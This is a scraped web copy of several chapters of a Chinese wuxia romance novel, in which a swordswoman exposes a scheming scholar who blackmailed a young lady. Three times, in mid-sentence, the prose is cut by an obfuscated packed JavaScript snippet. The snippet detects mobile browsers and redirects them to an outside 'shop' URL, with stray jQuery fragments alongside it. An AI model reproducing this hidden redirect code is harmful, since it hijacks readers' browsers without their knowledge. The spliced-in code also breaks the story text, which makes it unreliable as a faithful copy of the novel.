三人身影消失在巷口,周克还在原地站着,脸色比煤炭还黑: “表哥,我不懂你为什么向着一个外人?” 周洄冷笑一声:“我若不是向着你,你方才已经被她打死了。” “就她?那个女人?” 周克只觉得好笑:“你要说诸微,我确实打不过,她一个女人,不过是带了把剑有什么好怕的?” 周洄重重地叹了口气,不再看这个不争气的表弟: “你何时才能收一收这冲动性子!婚事在即还在街头当众打人,舅舅前几日刚被御史弹劾,你不知道吗?” 周克声音低了下去: “知道,说在姑母忌日故意穿白衣祭奠。”说着又忍不住咬牙道:“还不是裴思衡那个王八蛋——” 见周洄脸色一凛,周克喉头一紧,将后半句话咽了回去。 沉默半晌,周洄淡淡开口:“你和那秀才到底有什么过节,同我一一说清楚,不准隐瞒。” ...... 金泉郡,医馆。 大夫说都是些皮外伤,替游南星简单擦拭了伤口,又开了几幅药。 吩咐近几日伤口不要沾水,在此观察一炷香,没什么事就可以回家静养了。 谢泠点了点头,拿出一些银子:“有劳大夫了。” 游南星看着谢泠给自己交了医费,有些过意不去: “谢女侠,这个钱日后我和酬金一块给你。” 谢泠走到床边,看着那可怜兮兮的书生,声音放轻了些: “晚上我会去随府同随小姐谈谈,你且安心养伤。” “我也跟着去。”随便凑上来,谢泠轻轻拍了拍他的头: “我打算偷偷去,带你还不够麻烦的。” 随便歪着头:“有钱哥哥不是说可以帮你?” 游南星抬眼看向谢泠,她沉吟片刻:“我想自己先去见一下。” “游南星,你与那随小姐真的是两情相悦吗?”谢泠看着他目光沉静。 那苦秀才眼神有些闪躲,掩着嘴轻咳一声,看向谢泠点点头: “自是当然,谢女侠只要将那玉佩送到,她自会明白。” “好。” 谢泠起身走到门口又回头:“若是发现你骗我,我下手只会比周克更重。” 随便见游南星拳头握紧,拍了拍他的肩膀笑着说: “别怕,谢泠就是吓你的,她很温柔的。” 游南星笑着点点头,却听见随便又补了一句: “当时我偷了她玉佩,她也就是将我吊在房顶上而已。” 那书生脸色比刚来时还要白。 ...... 打听到随府的位置,谢泠决定夜深再潜进去,虽说她不信周洄会偏袒周克,但是她还是更相信自己查到的。 转悠的路上,不知怎么就到了和月楼附近,抬头看到周洄和诸微正在门口站着,她连忙脚尖一转,进了一条胡同,又不免心里嘀咕,跑什么?有什么好心虚的。 周洄听周克说完便先让他回府了,这事确实有些难办,他也不便贸然插手。 诸微在一旁轻声提醒:“谢姑娘方才转到旁边胡同了。” 周洄抬眼看去,只看到一个消失的马尾,收回眼神:“随她去吧,那书生在医馆?” 诸微点点头:“公子为何不将实情告诉谢姑娘? 那书生真不是个东西,听完周二公子说完,他只觉得打得太轻了。 “有些事旁人说出来远没有亲眼看到更有说服力。”周洄看向少女离去的方向: “更何况这事说开了对周克也好,要不然成了亲两个人都不痛快。” 说着他微微一笑,双手背到身后:“走吧,也该算算我们姬姑娘这次要扣多少银子了。” 诸微闭了闭眼,跟了上去:“此事怪我,还请公子手下留情。” 周洄眸光微动,眼角眉梢都挂上了笑意:“好说,好说。” ...... 夜色渐浓,随府后院一片寂静,只剩那随小姐的闺房还点着灯。 谢泠一身夜行衣,脚尖在外墙墙面一点,身子一跃而起,轻飘飘落在那屋顶砖瓦之上,不远处一只海东青在半空盘旋,并未发出叫声,想来护院都不在此处。 她脚尖用力,凌空朝院中那棵大树扑去,伸出长臂两手一抓,树枝发出吱呀一声轻响,她随即松开手,宛如一只麻雀轻巧地落入院中。 走到随小姐房门前,她刚想推门而入,又觉得不妥,抬手准备敲门又止住,好像怎么都不对。 正犹豫间,房门突然被打开了,随心岚看到一个黑衣人立在门口,瞪大双眼,眼看就要惊呼出声,谢泠忙伸手捂住她的嘴,将其推到屋里。 随心岚眼中满是恐慌,谢泠单手摘下蒙脸巾: “随姑娘,我不是坏人,是游南星托我来找你的,我现在松开手,你能答应我不喊吗?” 随心岚听到那个名字握了握拳,点了点头。 谢泠松开手,随心岚深呼一口气,向后退一步,眼中满是恨意: “他又来做什么?我给了他那么多银子还不够吗!” 谢泠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061762|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言只想回去将那死秀才再捶一遍,但还是问了一句: “你和他不是两情相悦吗?”随即又连忙摆手: “他这么跟我说的,你要是不喜欢他,我现在就回去将他打个半死。” 随心岚冷笑一声:“他人呢?为什么让你来见我?” 谢泠挠挠头:“他被周二公子打得半死不活还在医馆,托我送这枚玉佩给你。” 说着刚将玉佩拿出来,随心岚上前一步抓住谢泠的衣领,声音有些不稳: “你说什么?” 谢泠以为她还关心那秀才忙说:“他没事,只是些皮外伤。” 可那少女却好似没有听到一般,咬住嘴唇,泪水忽地涌上眼眶,她忽地松开谢泠,一边摇着头,一边连连向后撤,直到抵到身后的桌角才僵在原地: “他还是知道了......他肯定知道了。” 谢泠不知道如何是好,只觉得自己好像做了一件错事,想要上前又止在原地。 随心岚看向那玉佩,猛地夺过狠狠摔在地上,玉佩应声而碎: “他究竟要缠着我到什么时候!” 少女肩膀轻轻颤抖,缓缓蹲在地上,泪水如同断线的珍珠一般大颗大颗地落下, 抽泣声中说出话也变得支离破碎: “现在好了......他定是不会娶我了。” 她突然低低地笑了出来,肩膀也跟着颤动,垂着头任凭眼泪模糊了视线。 嘴里反复重复着那句:“......他定是不会娶我了。” 谢泠看着眼前少女哭得泣不成声,鼻尖猛地一酸,眼眶也带上了泪,蹲下身,扶着她的肩膀: “对不住,我不知道,我真不知道。” 蹲在地上的少女忽地抬起头,眼神早已没了光,轻声对她说了一句话。 谢泠眼中闪过一丝惊愕,嘴唇微张,却什么话也说不出。 ...... 和月楼,三楼雅间。 “公子,谢姑娘从随府出来了。”诸微进门时,周洄还站在窗边望向随府方向。 见周洄没反应,诸微又上前说了一句:“谢姑娘似乎很生气,往南河巷去了。” 周洄心下一紧,转身就往外走,又对诸微吩咐道: “你让周克马上去随府。” ...... 随便跟着游南星回到他家中,果然是一贫如洗。 整个屋里除了灶台就只有一张床,一张桌子,一条长凳。 “别介意。”游南星拿出个缺口的碗,舀了些清水递过来。 随便接过摇摇头:“我之前待的地方比这还破呢。” 游南星在他身旁坐下,笑着问:“那你怎么遇到谢女侠的?” “我命好呗,嘿嘿嘿。”随便咧嘴笑了起来,眉眼弯弯,嘴角也弯弯。 他望向着外面的月亮心里忍不住嘀咕,谢泠怎么还不回来,又转过身对游南星叮嘱道: “这话你可别同她说,我不想让她太得意。” 游南星摇摇头: “要我说谢姑娘命也好,长得好看,武功又高,想必今天那位周公子也很中意她,之后怕是只会过得更好。” 随便没吭声,总觉得这话让他有些不舒服。 门突然被一脚踹开,谢泠一脸冷意地出现在门口。 随便忙跑过去迎她:“回来了,怎么样?玉佩送到了吗?” 游南星自始至终没有起身,只是安静地将碗里的水喝完,才慢悠悠转过身看着谢泠笑着说: “玉佩送到了吗?谢女侠。” 下一瞬,随便捂住了嘴,却还是发出了叫声。 谢泠一句话没说,一把拎起那鼻青脸肿的苦秀才,举起手中匕首,便狠狠朝肩膀扎了进去。 那秀才闷哼一声反而笑了出来:“看来,她都告诉你了。” 谢泠手腕用力,将整个匕首都刺了进去,仍是一句话未说,眼中没有丝毫情绪,只有手起刀落的利落。 11.官府可不会抓行侠仗义之人 周克赶到随府时,随府看门的小厮正在打盹,开门的动作慢了些,便白白挨了周克狠狠一脚,刚准备骂人看到是周二公子后又连忙让路。 周克此时也顾不上什么礼节了,进门直冲后院,看到随心岚瘫在桌前,发丝凌乱,满脸泪痕,心中只觉得如同巨锤敲击般沉闷,又好似针扎般刺痛。 他停在原地,想要回去将那死秀才杀了,又觉得太便宜他。 他快步走过去,蹲下身将她揽入怀里,随心岚感受到来人的温度后,开始放声哭泣。 周克轻轻拍着她的背小声在耳边低语:“没事的,随姐姐...没事的...” ...... 随心岚与那苦秀才的事在他初到金泉郡就知道了。 作为周家的二公子,周克生来就披着层金尊玉贵的家世,父亲是当朝国舅爷,姑姑是圣上宠爱的贵妃,上头还有个年长五岁的兄长周礼。 因母亲生他时难产去世,父亲便对这个小儿子更加疼爱,养成了他一副骄纵的性子。 出生时被圣上赐名周扬,谁知他确实如同这名字一般,张扬跋扈,无所忌惮。 五岁和兄长入宫作太子伴读,竟撺掇着太子一起翻墙逃课,溜到市井街头,瞧人家拜堂成亲。 被圣上责罚后,改名为周克,望他能够如兄长那般克己复礼。 只是这性子哪里是那么容易改的,父亲怕他在京中惹事,十二岁时便将他送回了老家金泉郡。 金泉郡作为周家根基所在,周礼在此经营了许多产业,连那大名鼎鼎的和月楼都是他送给太子的生辰礼。 混世魔王周克来到此地更是如同鸟入山林,鱼入江泽,刚来没几天就因逃学躲进了小姐的轿子。 随心岚当时正从书铺往回走,因抬轿的轿夫肚子疼,临时停靠在路边。 一个身影忽然钻了进来,她来不及惊呼,便被人捂住嘴,只听得少年清朗的嗓音: “好姐姐,帮个忙,有人在追我。” 随心岚一个深闺大小姐,哪里见过这阵仗,周克刚松开手便喊了起来,周围人连忙上前查看。 周二公子就这样被管家拎了回去,罚了半天禁闭。 他哪里是什么闲得住的主,当天晚上就又翻墙出门了,那日正是灯会,随心岚与游南星正在河边放莲灯。 “随小姐许了什么愿?”游南星看着随心岚双手合十,一脸虔诚的模样忍不住问了一句。 随心岚转过头,眉眼带着笑:“愿游南星三年后的春闱,能拔得头筹,金榜题名。” 游南星挠了挠头,低声道:“我会的。” 他不明白,明明随家在金泉郡也称得上大户人家,何必让自己去考什么功名?说到底还是嫌弃自己的出身罢了,要为他镀上一层光鲜亮丽的外壳,才好配得上她这随府大小姐。 他侧头看向随心岚,那张曾经让他觉得温暖美好的脸此刻竟有些虚伪。 初入府时见她对自己礼待有加,以为是个不在意身份地位的人,没想到也不过是个俗人。 “可是让我找到你了!”周克站在桥上看着这两个幽会的才子佳人,忍不住讥讽: “姐姐倒是好自在,我可是被你害苦了。” 游南星认识他,是周家的二公子,他侧头看向随心岚,轻声询问:“你认识他?” 随心岚摇摇头,皱起眉:“不过是个登徒子!” 说话间那少年从桥上纵身一跃,落在地上,来到两人面前: “不过是借你轿子躲一躲,你倒是小气。” 随心岚走上前:“你自己做了坏事被人追赶,我为何要替你掩护?” 周克上前:“你敢这么跟我说话,你知不知道我是谁?” 随心岚本以为游南星会替她说上几句话,不料他竟一言不发,只在一旁垂着头,心中不免有些失望,上前说道:“你是谁与我有何干系,就是圣上驾到,也得讲个理字。” 说着上下打量了少年一番,轻哼一声:“看你穿着讲究,行事却如此肆意妄为,怕不是从小就没人教你规矩。” 这话随心岚虽是无心说的,却戳到了他的痛处,周克跨步上前: “好你个死丫头,牙尖嘴利,走,跟我去官府,小爷我今天必须让你给我磕头赔罪!” 游南星这才像回过神一样,忙拦在两人中间: “对不住,周二公子,千错万错都是她的不是,您大人大量,千万别动气。” 周克挑了挑眉:“你认识我?” 秀才郑重行礼:“在金泉郡,周家自然是无人不晓,无人不敬,还请周二公子大人有大量,不要跟她一般计较。” 周克见这秀才如此行事,心中更是舒畅:“好啊,那你让她给我赔礼道歉。” 游南星看向随心岚,随心岚眉头紧皱:“你让我和他道歉?” 游南星俯下身轻声说:“不过是低个头认个错的事,何必闹大,周家的来头你又不是不知道。” 随心岚抬眼看着他,从未觉得眼前之人如此陌生,明明是那少年招惹在先,他一声不吭也就罢了,还同对方站到一处。 即便他身份尊贵又如何?他连问都不问便替自己认了错,她越想越觉得心寒,索性别过脸去,不再吭声。 周克摸了摸下巴,只觉得这两个人很有意思,便开口: “要不然这样,”他看向那秀才:“你替她给我磕头赔罪,我就放过你们。” 游南星眼中闪过一丝恨意,这少年不过是出生好了些便可以这般欺辱人,自己饱读圣贤书又如何? 在金钱、地位面前还不是一样要弯下脊梁,将脸面送到人脚底下。 什么万般皆下品,惟有读书高,都是鬼扯。 他余光扫过一旁不愿低头的随心岚,心中萌生一丝恨意。 你是随家大小姐,自然可以不畏权贵,不怕他来日报复,可自己不过一介书生,他动动手指,便能让自己多年心血付诸东流,甚至死无葬身之地。 口口声声让他博取功名,如今连低个头认个错都不肯,还要将他拖累到这般境地…… 他咬紧牙关,刚要开口说几句圆场的话。 “周二,你在这儿做什么?”一个温润的声音从桥上响起。 那周克连忙抬头:“大哥?你,你怎么回来了?” “我不回来,你岂不是要在这金泉郡闹翻了天?” 来人正是周家大公子周礼,他淡淡扫过桥下站立的三人,声音平淡: “回去了。” 周克握了握拳,看了那少女一眼,转身离开。 “游南星,你真的让我失望。”那少年走后,随心岚抬头看向自己心悦之人。 游南星轻笑一声,胸中那点自尊心也被点燃,声音拔高: “现在你又开口了?失望?你是如今才对我失望吗?你怕不是从来也没高看过我一眼吧?” 说着指着那河上早已飘远的莲灯:“说什么让我考个好功名,还不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065528|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得我一个秀才配不上你随家大小姐!” 随心岚深吸一口气,盯着他: “原来你一直是这么想的?金榜题名是每个读书人的理想,这句话不是你对我说的吗?” 那秀才脸色铁青: “我说过那么多话你就记住这一句了吗?方才那周家公子一句话便可将我的仕途之路堵死,你可以不在乎,但我不能不为我自己想!” 随心岚嘴唇微张,想说点什么又觉得无话可说,只觉得有些荒唐,为何刚才还是好端端的一个人,顷刻间便换了副嘴脸: “所以你根本不在意到底是谁的错,不在意我是不是受了委屈。” “那你呢?”游南星眼中全是讥讽:“你不也是只在意你随大小姐名声吗?若你当初肯求你父亲,将一间铺子交给我打理,我又何苦寒窗苦读,去搏什么功名!” 随心岚闻言先是怔住,随即冷笑着点了点头:“好啊,好,什么功名利禄非我所求,唯与你相守才是我心之所向。游南星,你说这话的时候,心里想的到底是我还是我随家的产业?” ...... 南河巷,游家门口。 诸微站在一侧,自己赶到时谢泠正要将匕首刺进那秀才肩膀,可公子并没有出言阻拦,他也只好原地站着,见那少女又将匕首推入几分,周洄脸上浮现了些许笑意。 谢泠抬手将匕首拔出,那秀才再一次痛得惊呼道:“你竟敢入室行凶,我定要告到官府!” 随便这才回过神,忙凑过来握住谢泠的手,声音低沉:“所以,他确实骗了你。” 感受到谢泠手心冰凉,随便眼神一冽看向一旁的游南星,咬牙切齿道: “王八蛋,亏我们还为你出头!就应该让那小子把你打死!” 说着便要上前揍人,被谢泠一把抓住: “眼下杀了他只会让事情更难收拾,你先去和月楼等我,这里我来处理。” 随便气得跺脚,扬声道:“怕什么!人是我伤的!就算官府来了将我抓走便是!” “官府可不会抓行侠仗义之人。” 谢泠和随便闻声抬头,周洄不知何时站在门口,诸微立于他身侧。 周洄走到谢泠面前,目光落在她的右手,轻轻托起她的手腕,从怀中拿出手帕,缓缓擦拭她手上沾染的血迹: “我们小谢女侠做得很好。” 游南星看着眼前一幕只觉得讽刺,他捂着肩膀的伤口,随意地靠在桌边笑道: “我说你怎么敢持刀行凶,原来是早就爬上了这位大人的床榻,说到底还是我出身卑微,没有你们——” 谢泠闭了闭眼正准备转身,却被周洄拉住,只听得一声巨响。 随便抄起一旁的木凳便砸向那正在低笑的游南星:“放你娘狗屁!你他娘有没有良心!我今天非把你——” 正说着被人从后拦腰抱住,他猛然抬头,见是诸微,挣扎得更狠: “你松开我!这个白眼狼!” 周洄松开谢泠的手,走到游南星面前,面带微笑: “你若是此刻承认自己就是爱慕虚荣,见利忘义,我或许还会敬你三分坦荡,毕竟人不为己,天诛地灭,这没有什么好稀奇的。” 他顿了顿,嘴角的笑意淡了些:“可你偏要将自己的卑劣说成被迫的无奈,将自己的不堪归于穷苦的出身。” 周洄缓缓抬起游南星受伤那侧的胳膊: “你这种人怎么有脸存活于世呢?” 12.周礼,不尊礼法的礼 游南星始终觉得自己只是没投个好胎,就如同那没被发现的沧海遗珠一般。 出生在穷苦的南河巷又如何?他不是照样凭自己本事考上了秀才。 之后秋闱中举,进京赶考,成为状元,衣锦还乡,都是顺理成章,天经地义的事。 可眼下连去平东郡参加解试的盘缠,他都凑不够,尽管朝廷给了考生每人五两银子的补贴,可一路的吃住,马匹,买书,样样都需花钱。 他这边又要替人抄书,又得抠抠搜搜过日子,晚上还要看书到深夜,可福禄街那个不成器的孙家少爷,书没读几卷就要学人家进乡赶考,家里面不仅备了双乘马车,还配了书童婢女随行伺候。 那种人,即便是给他天子銮驾又如何?考不上就是考不上,恰逢此时他在书铺帮忙时遇到了来买书的随家小姐。 他早听过这位小姐,虽深居闺中,但很爱看书,只可惜身为女子,再通晓诗书也无济于事。 游南星远远瞧着那随家小姐,暗自摇头,有这般好家世找个好夫婿嫁了多好,古人云,女子无才便是德,看那么多书有何用。 正想的出神,随心岚走了过来,朝他行了一礼:“打扰先生了,我近日看了些曹子休的文集,很是喜欢,不知能否推荐些风格相近的?” 游南星笑意盈盈地点点头:“自是当然,恰好我近日也在看他的文集。” ...... 一来二去,两人便渐渐熟络些,游南星一直都未曾向随心岚透露自己住在南河巷的事,毕竟那个地方在金泉郡便是贫贱二字的代名词。可不知怎么,还是被她知晓。 那苦秀才心下一紧,竟生出几分被看穿底细的恼怒,质问几乎就要脱口而出,难道住在南河巷便不配看书了吗? 却见随小姐眼中却带着欣赏,双手合拢,边踱步边说道:“书上说,天行健,君子以自强不息。游公子身居陋巷还能有如此学问,实在是难得。” 游南星握紧的拳头不自觉松了下来,只觉得眼前少女的笑容如同春日消融的冰块,又好似夏日穿堂而过的凉风,总之,不知到底是哪种情绪作祟,他竟然伸手鬼使神差地抱住了她。 ...... 再后来在随心岚的介绍下,他在随府谋了个伴读的职位,不仅能光明正大地看书还有一份工钱拿。 即便是他这般自尊心强的人也对随心岚产生了感激,可人心总是不餍足,他觉得自己读书读得好,做生意也不会差到哪里去,若是拿随老爷愿意将一间铺子交予自己打理,哪里还需要受着寒窗之苦? 随小姐再怎么受宠也不过是个女人,这么大的家业总要有人继承,他觉得自己就是那个人。可没想到,他还未曾开口便被随心岚挡了回去。 “银两的事你不必操心,你只管好好读书,将来考个好功名,便能来我家......”少女此刻脸上泛起红晕,只盼得心上人能够明白自己的心意,他说过读书是他最爱的事,怎么能让他只为了与自己相配便去经商呢。 游南星背过身去,想了想又开口:“功名利禄并非我所求,唯有与你相守才是我心之所向。”随心岚一听心都软了,走过去拉着他的袖子:“正因为如此我才不想你放弃啊。” 冠冕堂皇,还是看不起自己的出身罢了。 ...... 自那周家二公子闹过之后,无论他如何认错赔罪,随心岚都不再见他。 游南星实在想不明白自己错在何处,即便有些错,也不至于如此不留情面。 难道非要自己用这蝼蚁之命去和那周二公子拼个你死我活才算对得起她?才算情深义重? 他不甘心,便日日在那随府门口蹲着,手中还总是把玩着随心岚当初给他的定情信物——云纹月华佩。 随心岚怕被人说闲话,便托人扔给他五十两银子,让他有多远滚多远。 游南星将那扔在地上的钱袋子捡起,放到怀里,那钱袋子很重,坠着他的心也沉了下去。 回南河巷的路上,日头高照,热得他额头直冒汗,身体却止不住地发抖,心底头一次萌生了悔恨与难过,但很快又被一种耻辱的情绪所替代,他发誓:定要高中归来,让这眼高于顶的女人后悔这样待他。 不知是高估了自己还是低估了同乡读书人的本事,放榜那日,他从头到尾反复看了好几遍也没有自己的名字。他心中不平,之后一年,他便留在平东郡备考。 这平东郡作为江州的省城,花费高不说,好玩的地方也多,在这期间每逢心中闷闷不乐之时他便会去喝花酒,在醉生梦死间忘记了落第之耻,在花言巧语下以为自己也成了那人上人。 五十两银子备考绰绰有余,可若要挥霍起来,一百两都打不住。 他悄悄遛回金泉郡,想要求那随小姐再借自己一些银两,却在路口停住了脚步。 随府大门前,周克与随心岚正站在一起,那周家二公子早已没了初见时的张扬跋扈,反而双手背后,俯下身一脸笑意地看着少女,不知说了些什么。 那少女嗔怪了几句,随后周克从身后拿出一本书,表情很是得意。 又是一样的日头高照,游南星心中的屈辱却比前几次都要强烈。 不甘在他心中滋生,他还留着那少女所赠的玉佩,是那时在南河巷破屋前,他抱住她之后随心岚赠予的,即便再穷困潦倒他也没有将此物变卖,现如今看来自己的深情都是个笑话。 ...... 威胁随心岚时他没怕过,当着周克的面说自己早已和随心岚有过夫妻之实时也未曾退缩,可不知怎的,面对今日眼前这个总是带着笑意的男人,却让他头一次感到心底发寒。 还未来得及问清楚他的身份,周洄的手便按在了他肩膀上,正是谢泠用匕首刺穿的位置。 下一瞬,一股难以言喻的疼痛让他叫了出来,疼!他的意识里只剩下这一个字。 在他以为快要撑不住的时候,周洄忽然松开了手,有些嫌弃地甩了甩手腕: “还以为多有骨气。” 游南星一脸恨意地盯着他:“大不了...就是杀了我,反正他俩也成不了亲了,谁还会要一个破鞋!” 周洄抬手拦住又要上前的谢泠,收敛了神色,转过身,垂眸看着瘫在地上,狼狈不堪的秀才: “你以为谁都同你一样吗?” “怎么不一样?”游南星此刻已是破罐子破摔,咧着嘴笑: “你那周二公子若不是介意……何必一听我说与随心岚已有肌肤之亲,就急着拿钱打发我,叫我永远别回金泉郡?” “因为我那弟弟不想让他那随姐姐知道——” 一个声音自门外响起,众人皆回头看去,一道修长的身影出现在门口。 一袭青衫,头戴白玉簪,眉眼温润如玉,眼底却毫无笑意,正是那周家大公子,周礼。 他目光扫过谢泠,落到那狼狈书生身上: “自己曾经竟喜欢过这么一个算不上是人的东西。” 说话间他走到游南星面前,蹲下身:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070231|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概没有听过我的名字,我叫周礼,不尊礼法的礼。” ...... 周洄说剩下的事周大公子会去处理,便带着谢泠他们先回了和月楼。 一路上诸微都能感受到自家主子那不悦的情绪,嘴角绷得紧直,难得一声不吭,谢泠以为他是怪自己太过冲动,帮错了人,跟在后面垂着眼也没敢开口,毕竟此事确实是自己有错在先。 诸微和随便在身后对视了一眼,心下了然,周洄这般情绪定是因周礼而起。 方才离开南河巷时,周礼忽然叫住了谢泠,走到她面前,笑意盈盈,和风细雨: “我听说了,今日在南河巷,谢女侠一脚便将我那弟弟踹翻在地。” 谢泠瞬间耳根发烫,无地自容,忙双手合十: “罪过,罪过,都是误会。” 周礼却一反常态地笑了起来:“我没怪你,很少有人敢这么做,” 说着看向一旁的周洄:“景和,你这位朋友很不一般。” 周洄嘴角一抽,将头别过去,没吭声。 周礼也不理会,目光落到谢泠手中还握着的匕首: “小谢女侠果然名不虚传,改日若得空,不妨来周府坐坐。” 谢泠被夸得有些飘飘然,也没细想他是如何知道自己名字,不自觉挠了挠头,呵呵一笑: “好啊,好啊。” ...... 到了和月楼门口,谢泠忍了又忍还是没忍住: “随小姐那边......” 周洄轻声回应:“周克已经过去了。”说着又转过身补了一句: “那秀才方才所说全是子虚乌有,他们二人趁此机会把话说开也是好事,你不必往心里去。” 谢泠咬了咬嘴唇,又点点头: “明日我想去见见随小姐,还有周二公子,当面赔个不是。”虽说自己是好心可终究办了坏事,更别说还当街踹了周克一脚,于情于理都说不过去。 “还有我!”随便跳到两人中间,举起一只手,小声说道:“我不该那样骂随姐姐的......” 周洄失笑,拍了拍他的脑袋:“赔不是可以,随姐姐这三个字可别乱叫,我怕你被人打死。” 随便先是不解随即瞪大眼睛,恍然大悟般用力点头,一脸严肃:“明白!” 周洄走到谢泠面前:“今日也累了,先去歇着吧。明日我陪你去随府。”说着想到些什么,顿了顿: “至于周克,我让他过来便是,周府...你就不必特意去了。” 诸微闻言挑了挑眉,并未发声。 ...... 和月楼,三楼。 整个屋子只点了一盏烛火,窗外的月光撒在地面,更显得几分凉意。 姬无月真是想杀了眼前这个没点用的男人,瞥了他好几眼都装作没看见一样。 公子大半夜回来将自己叫醒不说,脸色还很难看,关键自己对此还一无所知。 “姬无月。” 完了,叫全名是真的要死了,姬无月闭了闭眼,认命般回了声在。 周洄看着她,脸上并无怒意:“我知道,郝掌柜这些年来任劳任怨,功劳苦劳都有,可你最好提醒他一下。” “和月楼如今是谁的地盘,他若还念着旧主子,我也不拦着,放他回去便是。” 周洄缓缓起身,衣袍垂落在地: “可若是还想留在这儿,什么话该说,什么话不该说就要先在心里掂量清楚。” 13.周二公子还有这本事 想来是昨日太过疲累,谢泠醒来时已经日上三竿。 这一觉竟睡得死沉,也没人叫她,她随意收拾了下便推门而出,听小厮说周洄他们在后院,连忙下楼,穿过一楼门帘后的走廊,来到一处青竹围绕的庭院。 几排青竹疏疏密密,将前楼的喧嚣一并隔了去,她沿着青竹夹道的鹅卵石小路往里走,眼前视野逐渐开阔,一个清静的小院出现在眼前。 院内,随便正举着桃木剑,歪歪扭扭地摆着架势,诸微双手抱臂立在一侧,偶尔出声抬手指点几句,眉头却紧皱。 姬无月站在周洄身侧,忍不住讥讽:“功夫高有什么用,教个小孩都教不好。” 诸微脸一黑,干脆让随便先从马步扎起,随便哪里愿意,抱着木剑嚷嚷道:“你到底行不行?” 周洄坐在石桌旁,握着杯茶,笑意浅浅,为自己的属下打抱不平:“可是你自己求诸微教你的。” 说完目光一抬,恰好落向青竹旁,少女不知何时站在那里,日光照过来,在她身上落下些许竹影,眉眼更显几分剑意,周洄眼睛一弯,声音也抬高了些:“醒了?” 众人闻声齐齐回过头,目光都汇在谢泠身上。 随便连忙跑过去站在谢泠面前:“谢泠,你怎么才起啊!这可不是女侠风范!” 谢泠有些赧颜,伸手拍了随便一巴掌:“要你多嘴!练剑如何啊?” 随便立刻垮下脸,摇摇头痛心疾首地说:“真不是我不行,那诸微看着厉害,一点也不会教。” 诸微站在一旁嘴角一抽,欲言又止,姬无月凑上去,抬起袖口掩唇轻笑:“也不过如此啊。” 诸微面不改色,上前抱拳行礼: “谢姑娘,一直未曾有机会见识你的剑法,今日有空可否切磋一二?” 谢泠眨眨眼,看了一眼周洄,他并无表示。 一旁的随便开始起哄:“好啊,好啊,跟他打!”说着跳着走到诸微面前,大拇指一竖指向自己,嗓门洪亮:“就让你瞧瞧我们谢泠的开天辟地横扫八荒无敌剑!” 话音刚落对面三人面无表情,霎时间有些冷场。 谢泠倒是摩挲着下巴,眼睛一眯,觉得这名字不错,够霸气。 随即抽出孤光剑,指向诸微:“那来吧。” 诸微此刻也收敛神色,抽出腰间长刀,周洄不动声色地将茶杯往后挪了挪,伸手盖了上去,自己也移坐到更靠后的石凳上,随便双手握着桃木剑,剑尖戳地,瞪大眼地盯着前方。 谢泠脚尖一点,身形便如飞燕般近身上前,诸微并未闪躲而是举刀迎了上去,刀锋划过剑刃,只听得一声剑鸣,诸微力道刚猛,震得谢泠向后一撤,诸微趁势倾身向前,没了防备的架势。 谢泠手腕一转,剑尖在空中划出一条弧线,向诸微胸前直刺而去,被诸微侧身躲开。 趁着这一侧身,谢泠脚步变换,人已转至他身侧,抬腿便踢,被诸微反手抓住脚踝,谢泠剑尖抵地,借力腾空而起,蓄力一剑便向诸微刺去,诸微松手横刀抵挡,谢泠借力一个轻翻,如叶落无声,稳稳落在他身后。 剑尖抵在他的脖颈。 诸微笑了笑,收刀入鞘:“你赢了。” 谢泠并未收剑,蹙起眉有些生气:“狮子搏兔亦用全力,你看不起我?”她看得清楚,诸微明显收着力,在试探自己的剑路,几招下来,自己的剑术底子露了个四五分,他的刀法却看不真切。 诸微转过身行了一礼:“刀对剑本就不公平,况且谢姑娘的剑法我已领教,胜负没什么意义。” 随便跑上前来一脸骄傲:“谢泠!你真厉害!快教我,我要学!” 谢泠见诸微无意再打,只得作罢,收剑入鞘,瞥了一眼随便:“你先把马步扎好再说。”随即走向周洄:“我们什么时候去随府?” 周洄似是刚回过神,点了点头:“现在就可以。” 姬无月在一旁静静地望着着谢泠,眼神中带着几分探究,她看了一眼诸微,公子看不出来也就罢了,她不信诸微也毫无察觉,这位谢女侠的招式分明和那个人有着几分相似,想了想她还是开口,带着笑意: “谢女侠身手果然了得,不知道师承何人?” 谢泠垂下眼,想起追杀周洄刺客的那个红眼虎头纹身,笑了笑:“一个不知名的人罢了。” 随便站在一旁抬起头悄悄地看了谢泠一眼,又迅速低下头,盯着自己鞋尖,一声没吭。 ...... 去随府路上,谢泠问那游南星如何了,周洄没做回答,只说周礼已经处理好了。 谢泠觉得那秀才虽是可恨,可罪不至死便小声问道: “那周大公子看着人挺好的,应该不会随便杀人吧?” 周洄轻瞥了她一眼:“落到周礼手里,死对他来说倒是一种解脱了。” 